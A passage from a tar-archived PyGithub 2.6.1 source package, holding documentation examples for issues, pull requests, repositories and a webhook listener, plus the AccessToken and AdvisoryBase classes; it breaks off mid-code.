Issue(title="This is a new issue", number=XXX) Create issue with body ---------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.create_issue(title="This is a new issue", body="This is the issue body") Issue(title="This is a new issue", number=XXX) Create issue with labels ------------------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> label = repo.get_label("My Label") >>> repo.create_issue(title="This is a new issue", labels=[label]) Issue(title="This is a new issue", number=XXX) Create issue with assignee -------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.create_issue(title="This is a new issue", assignee="github-username") Issue(title="This is a new issue", number=XXX) Create issue with milestone --------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> milestone = repo.create_milestone("New Issue Milestone") >>> repo.create_issue(title="This is a new issue", milestone=milestone) Issue(title="This is a new issue", number=XXX) Close all issues ----------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> open_issues = repo.get_issues(state='open') >>> for issue in open_issues: ... issue.edit(state='closed') ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/MainClass.rst0000644000175100001660000000366714756101563017771 0ustar00runnerdockerMain Class ========== This is the main class. Get current user ---------------- .. code-block:: python >>> user = g.get_user() >>> user.login u'sfdye' Get user by name ---------------- .. code-block:: python >>> user = g.get_user("sfdye") >>> user.name u'Wan Liuyang' Get repository by name ---------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.name u'PyGithub' Get organization by name ------------------------ .. code-block:: python >>> org = g.get_organization("PyGithub") >>> org.login u'PyGithub' Get enterprise consumed licenses by name ---------------------------------------- .. code-block:: python >>> enterprise = g.get_enterprise_consumed_licenses("PyGithub") >>> enterprise_consumed_licenses = enterprise.get_enterprise_consumed_licenses() >>> enterprise_consumed_licenses.total_seats_consumed 5000 Search repositories by language ------------------------------- .. code-block:: python >>> repositories = g.search_repositories(query='language:python') >>> for repo in repositories: ... print(repo) ... Repository(full_name="vinta/awesome-python") Repository(full_name="donnemartin/system-design-primer") Repository(full_name="toddmotto/public-apis") Repository(full_name="rg3/youtube-dl") Repository(full_name="tensorflow/models") Repository(full_name="django/django") Search repositories based on number of issues with good-first-issue ------------------------------------------------------------------- .. code-block:: python >>> repositories = g.search_repositories(query='good-first-issues:>3') >>> for repo in repositories: ... print(repo) ... Repository(full_name="vuejs/vue") Repository(full_name="facebook/react") Repository(full_name="facebook/react-native") Repository(full_name="electron/electron") Repository(full_name="Microsoft/vscode") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Milestone.rst0000644000175100001660000000167114756101563020047 0ustar00runnerdockerMilestone ========== Get Milestone list ------------------ .. code-block:: python >>> repo = g.get_repo('PyGithub/PyGithub') >>> open_milestones = repo.get_milestones(state='open') >>> for milestone in open_milestones: ... print(milestone) ... Milestone(number=1) Milestone(number=2) Get Milestone ------------- .. code-block:: python >>> repo = g.get_repo('PyGithub/PyGithub') >>> repo.get_milestone(number=1) Milestone(number=1) Create Milestone ---------------- .. code-block:: python >>> repo = g.get_repo('PyGithub/PyGithub') >>> repo.create_milestone(title='New Milestone') Milestone(number=1) Create Milestone with State and Description ------------------------------------------- .. code-block:: python >>> repo = g.get_repo('PyGithub/PyGithub') >>> repo.create_milestone(title='New Milestone', state='open', description='Milestone description') Milestone(number=1) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/PullRequest.rst0000644000175100001660000000316714756101563020377 0ustar00runnerdockerPullRequest =========== Create a new Pull Request ------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> body = ''' >>> SUMMARY >>> Change HTTP library used to send requests >>> >>> TESTS >>> - [x] Send 'GET' request >>> - [x] Send 'POST' request with/without body >>> ''' >>> pr = repo.create_pull(base="master", head="develop", title="Use 'requests' instead of 'httplib'", body=body) >>> pr PullRequest(title="Use 'requests' instead of 'httplib'", number=664) Get Pull Request by Number --------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> pr = repo.get_pull(664) >>> pr PullRequest(title="Use 'requests' instead of 'httplib'", number=664) Get Pull Requests by Query -------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> pulls = repo.get_pulls(state='open', sort='created', base='master') >>> for pr in pulls: ... print(pr.number) ... 400 861 875 876 Add and modify Pull Request comment ----------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> pr = repo.get_pull(2390) >>> last_commit = pr.get_commits()[pr.commits - 1] >>> comment = pr.create_comment("This is a comment", last_commit, "file.txt", 0) >>> comment PullRequestComment(user=NamedUser(login="anonymous"), id=1057297855) >>> comment.body 'This is a comment' >>> comment.edit("This is a modified comment") >>> comment.body 'This is a modified comment' ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Repository.rst0000644000175100001660000002460314756101563020267 0ustar00runnerdockerRepository ========== Get repository topics --------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.get_topics() [u'pygithub', u'python', u'github', u'github-api'] Get count of stars ------------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.stargazers_count 2086 Get list of open issues -------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> open_issues = repo.get_issues(state='open') >>> for issue in open_issues: ... print(issue) ... Issue(title="How to get public events?", number=913) Issue(title="Prevent .netrc from overwriting Auth header", number=910) Issue(title="Cache fetch responses", number=901) Issue(title="Is suspended_users for github enterprise implemented in NamedUser?", number=900) Issue(title="Adding migration api wrapper", number=899) Get list of code scanning alerts -------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> codescan_alerts = repo.get_codescan_alerts() >>> for alert in codescan_alerts: ... print(alert.number, alert.created_at, alert.dismissed_at) ... print(" ", alert.tool.name, alert.tool.version, alert.tool.guid) ... print(" ", alert.rule.name alert.rule.security_severity_level alert.rule.severity) ... print(" ", alert.rule.description) ... print(" ", alert.most_recent_instance.ref, alert.most_recent_instance.state) ... print(" ", alert.most_recent_instance.location) ... print(" ", alert.most_recent_instance.message['text']) ... 3 1984-02-29 12:34:56 None CodeQL 2.6.1 None py/weak-sensitive-data-hashing high warning Use of a broken or weak cryptographic hashing algorithm on sensitive data refs/heads/master | open src/secrets/rats.py @ l42:c13-l42:c69 Sensitive data (password) is used in a hashing algorithm (SHA1) that is insecure⤶ for password hashing, since it is not a computationally expensive hash function. Get all the labels of the repository ------------------------------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> labels = repo.get_labels() >>> for label in labels: ... print(label) ... Label(name="Hacktoberfest") Label(name="WIP") Label(name="bug") Label(name="documentation") Get all of the contents of the root directory of the repository --------------------------------------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_contents("") >>> for content_file in contents: ... print(content_file) ... ContentFile(path=".github") ContentFile(path=".gitignore") ContentFile(path="CONTRIBUTING.md") ContentFile(path="COPYING") ContentFile(path="COPYING.LESSER") ContentFile(path="MAINTAINERS") ContentFile(path="MANIFEST.in") ContentFile(path="README.md") ContentFile(path="doc") ContentFile(path="github") ContentFile(path="manage.sh") ContentFile(path="requirements.txt") ContentFile(path="scripts") ContentFile(path="setup.py") Get all of the contents of the repository recursively ----------------------------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_contents("") >>> while contents: ... file_content = contents.pop(0) ... if file_content.type == "dir": ... contents.extend(repo.get_contents(file_content.path)) ... else: ... print(file_content) ... ContentFile(path=".gitignore") ContentFile(path="CONTRIBUTING.md") ... ContentFile(path="github/tests/ReplayData/Team.testRepoPermission.txt") ContentFile(path="github/tests/ReplayData/Team.testRepos.txt") ContentFile(path="github/tests/ReplayData/UserKey.setUp.txt") Get a specific content file --------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_contents("README.md") >>> print(contents) ... ContentFile(path="README.md") Create a new file in the repository ----------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.create_file("test.txt", "test", "test", branch="test") {'content': ContentFile(path="test.txt"), 'commit': Commit(sha="5b584cf6d32d960bb7bee8ce94f161d939aec377")} Update a file in the repository ------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_contents("test.txt", ref="test") >>> repo.update_file(contents.path, "more tests", "more tests", contents.sha, branch="test") {'commit': Commit(sha="b06e05400afd6baee13fff74e38553d135dca7dc"), 'content': ContentFile(path="test.txt")} Delete a file in the repository ------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_contents("test.txt", ref="test") >>> repo.delete_file(contents.path, "remove test", contents.sha, branch="test") {'commit': Commit(sha="0f40b0b4f31f62454f1758d7e6b384795e48fd96"), 'content': NotSet} Get the top 10 referrers over the last 14 days ---------------------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_top_referrers() >>> print(contents) [ Referrer(referrer="Google", count=4, uniques=3), Referrer(referrer="stackoverflow.com", count=2, uniques=2), Referrer(referrer="eggsonbread.com", count=1, uniques=1), Referrer(referrer="yandex.ru", count=1, uniques=1) ] Get the top 10 popular contents over the last 14 days ----------------------------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_top_paths() >>> print(contents) [ Path(path="/github/hubot", title="github/hubot: A customizable life embetterment robot.", count=3542, uniques=2225), Path(path="/github/hubot/blob/master/docs/scripting.md", title="hubot/scripting.md at master · github/hubot · GitHub", count=1707, uniques=804), Path(path="/github/hubot/tree/master/docs", title="hubot/docs at master · github/hubot · GitHub", count=685, uniques=435), Path(path="/github/hubot/tree/master/src", title="hubot/src at master · github/hubot · GitHub", count=577, uniques=347), Path(path="/github/hubot/blob/master/docs/index.md", title="hubot/index.md at master · github/hubot · GitHub", count=379, uniques=259), Path(path="/github/hubot/blob/master/docs/adapters.md", title="hubot/adapters.md at master · github/hubot · GitHub", count=354, uniques=201), Path(path="/github/hubot/tree/master/examples", title="hubot/examples at master · github/hubot · GitHub", count=340, uniques=260), Path(path="/github/hubot/blob/master/docs/deploying/heroku.md", title="hubot/heroku.md at master · github/hubot · GitHub", count=324, uniques=217), Path(path="/github/hubot/blob/master/src/robot.coffee", title="hubot/robot.coffee at master · github/hubot · GitHub", count=293, uniques=191), Path(path="/github/hubot/blob/master/LICENSE.md", title="hubot/LICENSE.md at master · github/hubot · GitHub", count=281, uniques=222) ] Get number of clones and breakdown for the last 14 days ------------------------------------------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_clones_traffic() >>> contents = repo.get_clones_traffic(per="week") >>> print(contents) { "count": 173, "uniques": 128, "clones": [ Clones(timestamp=2016-10-10 00:00:00, count=2, uniques=1), Clones(timestamp=2016-10-11 00:00:00, count=17, uniques=16), Clones(timestamp=2016-10-12 00:00:00, count=21, uniques=15), Clones(timestamp=2016-10-13 00:00:00, count=8, uniques=7), Clones(timestamp=2016-10-14 00:00:00, count=5, uniques=5), Clones(timestamp=2016-10-15 00:00:00, count=2, uniques=2), Clones(timestamp=2016-10-16 00:00:00, count=8, uniques=7), Clones(timestamp=2016-10-17 00:00:00, count=26, uniques=15), Clones(timestamp=2016-10-18 00:00:00, count=19, uniques=17), Clones(timestamp=2016-10-19 00:00:00, count=19, uniques=14), Clones(timestamp=2016-10-20 00:00:00, count=19, uniques=15), Clones(timestamp=2016-10-21 00:00:00, count=9, uniques=7), Clones(timestamp=2016-10-22 00:00:00, count=5, uniques=5), Clones(timestamp=2016-10-23 00:00:00, count=6, uniques=5), Clones(timestamp=2016-10-24 00:00:00, count=7, uniques=5) ] } Get number of views and breakdown for the last 14 days ------------------------------------------------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> contents = repo.get_views_traffic() >>> contents = repo.get_views_traffic(per="week") >>> print(contents) { "count": 14850, "uniques": 3782, "views": [ View(timestamp=2016-10-10 00:00:00, count=440, uniques=143), View(timestamp=2016-10-11 00:00:00, count=1308, uniques=414), View(timestamp=2016-10-12 00:00:00, count=1486, uniques=452), View(timestamp=2016-10-13 00:00:00, count=1170, uniques=401), View(timestamp=2016-10-14 00:00:00, count=868, uniques=266), View(timestamp=2016-10-15 00:00:00, count=495, uniques=157), View(timestamp=2016-10-16 00:00:00, count=524, uniques=175), View(timestamp=2016-10-17 00:00:00, count=1263, uniques=412), View(timestamp=2016-10-18 00:00:00, count=1402, uniques=417), View(timestamp=2016-10-19 00:00:00, count=1394, uniques=424), View(timestamp=2016-10-20 00:00:00, count=1492, uniques=448), View(timestamp=2016-10-21 00:00:00, count=1153, uniques=332), View(timestamp=2016-10-22 00:00:00, count=566, uniques=168), View(timestamp=2016-10-23 00:00:00, count=675, uniques=184), View(timestamp=2016-10-24 00:00:00, count=614, uniques=237) ] } Mark the notifications of the repository as read ------------------------------------------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.mark_notifications_as_read() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Webhook.rst0000644000175100001660000001034714756101563017506 0ustar00runnerdockerWebhook ======= Creating and Listening to Webhooks with PyGithub and Pyramid ------------------------------------------------------------ To receive a continuous stream of events, one can set up a wsgiref app using Pyramid to handle incoming POST requests. The below code sets up a listener which creates and utilizes a webhook. Using 'pull_request' and 'push' for the EVENT attributes, any time a PR is opened, closed, merged, or synced, or a commit is pushed, Github sends a POST containing a payload with information about the PR/push and its state. The below example was drawn largely from `Github's Examples `__ on working with Webhooks. A list of all applicable event types for Webhooks can be found in `Github's documentation `__ .. code-block:: python from wsgiref.simple_server import make_server from pyramid.config import Configurator from pyramid.view import view_config, view_defaults from pyramid.response import Response from github import Github ENDPOINT = "webhook" @view_defaults( route_name=ENDPOINT, renderer="json", request_method="POST" ) class PayloadView(object): """ View receiving of Github payload. By default, this view it's fired only if the request is json and method POST. """ def __init__(self, request): self.request = request # Payload from Github, it's a dict self.payload = self.request.json @view_config(header="X-Github-Event:push") def payload_push(self): """This method is a continuation of PayloadView process, triggered if header HTTP-X-Github-Event type is Push""" print("No. commits in push:", len(self.payload['commits'])) return Response("success") @view_config(header="X-Github-Event:pull_request") def payload_pull_request(self): """This method is a continuation of PayloadView process, triggered if header HTTP-X-Github-Event type is Pull Request""" print("PR", self.payload['action']) print("No. Commits in PR:", self.payload['pull_request']['commits']) return Response("success") @view_config(header="X-Github-Event:ping") def payload_else(self): print("Pinged! Webhook created with id {}!".format(self.payload["hook"]["id"])) return {"status": 200} def create_webhook(): """ Creates a webhook for the specified repository. This is a programmatic approach to creating webhooks with PyGithub's API. If you wish, this can be done manually at your repository's page on Github in the "Settings" section. There is a option there to work with and configure Webhooks. """ USERNAME = "" PASSWORD = "" OWNER = "" REPO_NAME = "" EVENTS = ["push", "pull_request"] HOST = "" config = { "url": "http://{host}/{endpoint}".format(host=HOST, endpoint=ENDPOINT), "content_type": "json" } g = Github(USERNAME, PASSWORD) repo = g.get_repo("{owner}/{repo_name}".format(owner=OWNER, repo_name=REPO_NAME)) repo.create_hook("web", config, EVENTS, active=True) if __name__ == "__main__": config = Configurator() create_webhook() config.add_route(ENDPOINT, "/{}".format(ENDPOINT)) config.scan() app = config.make_wsgi_app() server = make_server("0.0.0.0", 80, app) server.serve_forever() Outputs from a server configured as above: .. code-block:: console x.y.w.z - - [15/Oct/2018 23:49:19] "POST /webhook HTTP/1.1" 200 15 Pinged! Webhook created with id ! No. commits in push: 1 x.y.w.z - - [15/Oct/2018 23:49:32] "POST /webhook HTTP/1.1" 200 7 PR synchronize x.y.w.z - - [15/Oct/2018 23:49:33] "POST /webhook HTTP/1.1" 200 7 No. Commits in PR: 10 PR closed x.y.w.z - - [15/Oct/2018 23:49:56] "POST /webhook HTTP/1.1" 200 7 No. Commits in PR: 10 x.y.w.z - - [15/Oct/2018 23:50:00] "POST /webhook HTTP/1.1" 200 7 PR reopened No. Commits in PR: 10 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples.rst0000644000175100001660000000033214756101563016101 0ustar00runnerdockerExamples ======== .. toctree:: examples/Authentication examples/MainClass examples/Repository examples/Branch examples/Commit examples/PullRequest examples/Issue examples/Milestone examples/Webhook ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/github.rst0000644000175100001660000000011614756101563015545 0ustar00runnerdockerMain class: Github ================== .. autoclass:: github.MainClass.Github ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/github_integration.rst0000644000175100001660000000016714756101563020156 0ustar00runnerdockerMain class: GithubIntegration ============================= .. autoclass:: github.GithubIntegration.GithubIntegration ././@PaxHeader0000000000000000000000000000003200000000000010210 xustar0026 mtime=1740145533.59224 pygithub-2.6.1/doc/github_objects/0000755000175100001660000000000014756101576016532 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/github_objects/.gitignore0000644000175100001660000000363714756101563020527 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2013 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ *.rst ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/index.rst0000644000175100001660000000014514756101563015374 0ustar00runnerdockerPyGithub ======== .. toctree:: :maxdepth: 1 introduction examples reference changes ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/introduction.rst0000644000175100001660000001025114756101563017005 0ustar00runnerdockerIntroduction ============ PyGithub is a Python library to use the `Github API v3 `__. With it, you can manage your `Github `__ resources (repositories, user profiles, organizations, etc.) from Python scripts. Should you have any question, any remark, or if you find a bug, or if there is something you can do with the API but not with PyGithub, please `open an issue `__. (Very short) tutorial --------------------- First create a Github instance:: from github import Github # Authentication is defined via github.Auth from github import Auth # using an access token auth = Auth.Token("access_token") # Public Web Github g = Github(auth=auth) # Github Enterprise with custom hostname g = Github(auth=auth, base_url="https://{hostname}/api/v3") Then play with your Github objects:: for repo in g.get_user().get_repos(): print(repo.name) repo.edit(has_wiki=False) # to see all the available attributes and methods print(dir(repo)) To close connections after use:: g.close() Download and install -------------------- This package is in the `Python Package Index `__, so ``pip install PyGithub`` should be enough. You can also clone it on `Github `__. Licensing --------- PyGithub is distributed under the GNU Lesser General Public Licence. See files COPYING and COPYING.LESSER, as requested by `GNU `__. What next? ---------- You need to use a Github API and wonder which class implements it? `Reference of APIs `__. You want all the details about PyGithub classes? `Reference of Classes `__. Projects using PyGithub ----------------------- (`Open an issue `__ if you want to be listed here, I'll be glad to add your project) * `Github-iCalendar `__ returns all of your Github issues and pull requests as a list of tasks / VTODO items in iCalendar format. * `DevAssistant `_ * `Upverter `__ is a web-based schematic capture and PCB layout tool for people who design electronics. Designers can attach a Github project to an Upverter project. * `Notifico `__ receives messages (such as commits and issues) from services and scripts and delivers them to IRC channels. It can import/sync from Github. * `Tratihubis `__ converts Trac tickets to Github issues * https://github.com/fga-gpp-mds/2018.1-Cardinals - website that shows metrics for any public repository (issues, commits, pull requests etc) * https://github.com/CMB/cligh * https://github.com/natduca/quickopen uses PyGithub to automatically create issues * https://gist.github.com/3433798 * https://github.com/zsiciarz/aquila-dsp.org * https://github.com/robcowie/virtualenvwrapper.github * https://github.com/kokosing/git-gifi - Git and github enhancements to git. * https://github.com/csurfer/gitsuggest - A tool to suggest github repositories based on the repositories you have shown interest in * https://github.com/gomesfernanda/some-github-metrics - Python functions for relevant metrics on GitHub repositories * https://github.com/SOM-Research/Gitana - a SQL-based Project Activity Inspector * https://github.com/plus3it/satsuki - Automate GitHub releases and uploading binary release assets * `check-in `_ — Python CLI distribution that allows user to use GitHub Checks API as a bot. * https://github.com/hasii2011/gittodoistclone - Convert GitHub issues to Todoist tasks They talk about PyGithub ------------------------ * http://stackoverflow.com/questions/10625190/most-suitable-python-library-for-github-api-v3 * http://stackoverflow.com/questions/12379637/django-social-auth-github-authentication * http://www.freebsd.org/cgi/cvsweb.cgi/ports/devel/py-pygithub/ * https://bugzilla.redhat.com/show_bug.cgi?id=910565 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/reference.rst0000644000175100001660000000022114756101563016216 0ustar00runnerdockerReference ========= .. automodule:: github :no-members: .. toctree:: github github_integration apis utilities github_objects ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/utilities.rst0000644000175100001660000000252314756101563016302 0ustar00runnerdockerUtilities ========= Authentication -------------- .. autoclass:: github.Auth.Login .. autoclass:: github.Auth.Token .. autoclass:: github.Auth.JWT .. autoclass:: github.Auth.AppAuth .. autoclass:: github.Auth.AppAuthToken .. autoclass:: github.Auth.AppInstallationAuth .. autoclass:: github.Auth.AppUserAuth .. autoclass:: github.Auth.NetrcAuth Logging ------- .. autofunction:: github.enable_console_debug_logging Error Handling -------------- .. automodule:: github.GithubException Default argument ---------------- :const:`github.NotSet` is a special value for arguments you don't want to provide. You should not have to manipulate it directly, because it's the default value of all parameters accepting it. Just note that it is different from :const:`None`, which is an allowed value for some parameters. Pagination ---------- .. autoclass:: github.PaginatedList.PaginatedList() Input classes ------------- .. autoclass:: github.InputFileContent.InputFileContent .. autoclass:: github.InputGitAuthor.InputGitAuthor .. autoclass:: github.InputGitTreeElement.InputGitTreeElement Raw Requests ------------ If you need to make requests to APIs not yet supported by PyGithub, you can use the :class:`.Requester` object directly, available as :attr:`object.requester` on most PyGithub objects. .. autoclass:: github.Requester.Requester :members: ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.6222405 pygithub-2.6.1/github/0000755000175100001660000000000014756101576014254 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AccessToken.py0000644000175100001660000001514414756101563017031 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2022 Liuyang Wan # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 chantra # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timedelta, timezone from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class AccessToken(NonCompletableGithubObject): """ This class represents access tokens. """ _created: datetime def _initAttributes(self) -> None: self._expires_in: Attribute[int | None] = NotSet self._refresh_expires_in: Attribute[int | None] = NotSet self._refresh_token: Attribute[str] = NotSet self._scope: Attribute[str] = NotSet self._token: Attribute[str] = NotSet self._type: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "token": f"{self.token[:5]}...", "scope": self.scope, "type": self.type, "expires_in": self.expires_in, "refresh_token": (f"{self.refresh_token[:5]}..." if self.refresh_token else None), "refresh_token_expires_in": self.refresh_expires_in, } ) @property def created(self) -> datetime: """ :type: datetime """ return self._created @property def expires_at(self) -> datetime | None: """ :type: Optional[datetime] """ seconds = self.expires_in if seconds is not None: return self._created + timedelta(seconds=seconds) return None @property def expires_in(self) -> int | None: """ :type: Optional[int] """ return self._expires_in.value @property def refresh_expires_at(self) -> datetime | None: """ :type: Optional[datetime] """ seconds = self.refresh_expires_in if seconds is not None: return self._created + timedelta(seconds=seconds) return None @property def refresh_expires_in(self) -> int | None: """ :type: Optional[int] """ return self._refresh_expires_in.value @property def refresh_token(self) -> str | None: """ :type: Optional[string] """ return self._refresh_token.value @property def scope(self) -> str: """ :type: string """ return self._scope.value @property def token(self) -> str: """ :type: string """ return self._token.value @property def type(self) -> str: """ :type: string """ return self._type.value def _useAttributes(self, attributes: dict[str, Any]) -> None: self._created = datetime.now(timezone.utc) if "access_token" in attributes: # pragma no branch self._token = self._makeStringAttribute(attributes["access_token"]) if "expires_in" in attributes: # pragma no branch self._expires_in = self._makeIntAttribute(attributes["expires_in"]) if "refresh_token" in attributes: # pragma no branch self._refresh_token = self._makeStringAttribute(attributes["refresh_token"]) if "refresh_token_expires_in" in attributes: # pragma no branch self._refresh_expires_in = self._makeIntAttribute(attributes["refresh_token_expires_in"]) if "scope" in attributes: # pragma no branch self._scope = self._makeStringAttribute(attributes["scope"]) if "token_type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["token_type"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AdvisoryBase.py0000644000175100001660000001603414756101563017221 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Joseph Henrich # # Copyright 2024 Enrico Minack # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.CVSS import CVSS from github.CWE import CWE from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class AdvisoryBase(NonCompletableGithubObject): """ This class represents the shared attributes between GlobalAdvisory, RepositoryAdvisory and DependabotAdvisory https://docs.github.com/en/rest/security-advisories/global-advisories https://docs.github.com/en/rest/security-advisories/repository-advisories https://docs.github.com/en/rest/dependabot/alerts """ def _initAttributes(self) -> None: self._cve_id: Attribute[str] = NotSet self._cvss: Attribute[CVSS] = NotSet self._cvss_severities: Attribute[dict[str, Any]] = NotSet self._cwes: Attribute[list[CWE]] = NotSet self._description: Attribute[str] = NotSet self._ghsa_id: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._identifiers: Attribute[list[dict]] = NotSet self._published_at: Attribute[datetime] = NotSet self._severity: Attribute[str] = NotSet self._summary: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._withdrawn_at: Attribute[datetime] = NotSet def __repr__(self) -> str: return self.get__repr__({"ghsa_id": self.ghsa_id, "summary": self.summary}) @property def cve_id(self) -> str: return self._cve_id.value @property def cvss(self) -> CVSS: return self._cvss.value @property def cvss_severities(self) -> dict[str, Any]: return self._cvss_severities.value @property def cwes(self) -> list[CWE]: return self._cwes.value @property def description(self) -> str: return self._description.value @property def ghsa_id(self) -> str: return self._ghsa_id.value @property def html_url(self) -> str: return self._html_url.value @property def identifiers(self) -> list[dict]: return self._identifiers.value @property def published_at(self) -> datetime: return self._published_at.value @property def severity(self) -> str: return self._severity.value @property def summary(self) -> str: return self._summary.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value @property def withdrawn_at(self) -> datetime: return self._withdrawn_at.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "cve_id" in attributes: # pragma no branch self._cve_id = self._makeStringAttribute(attributes["cve_id"]) if "cvss" in attributes: # pragma no branch self._cvss = self._makeClassAttribute(CVSS, attributes["cvss"]) if "cvss_severities" in attributes: # pragma no branch self._cvss_severities = self._makeDictAttribute(attributes["cvss_severities"]) if "cwes" in attributes: # pragma no branch self._cwes = self._makeListOfClassesAttribute(CWE, attributes["cwes"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "ghsa_id" in 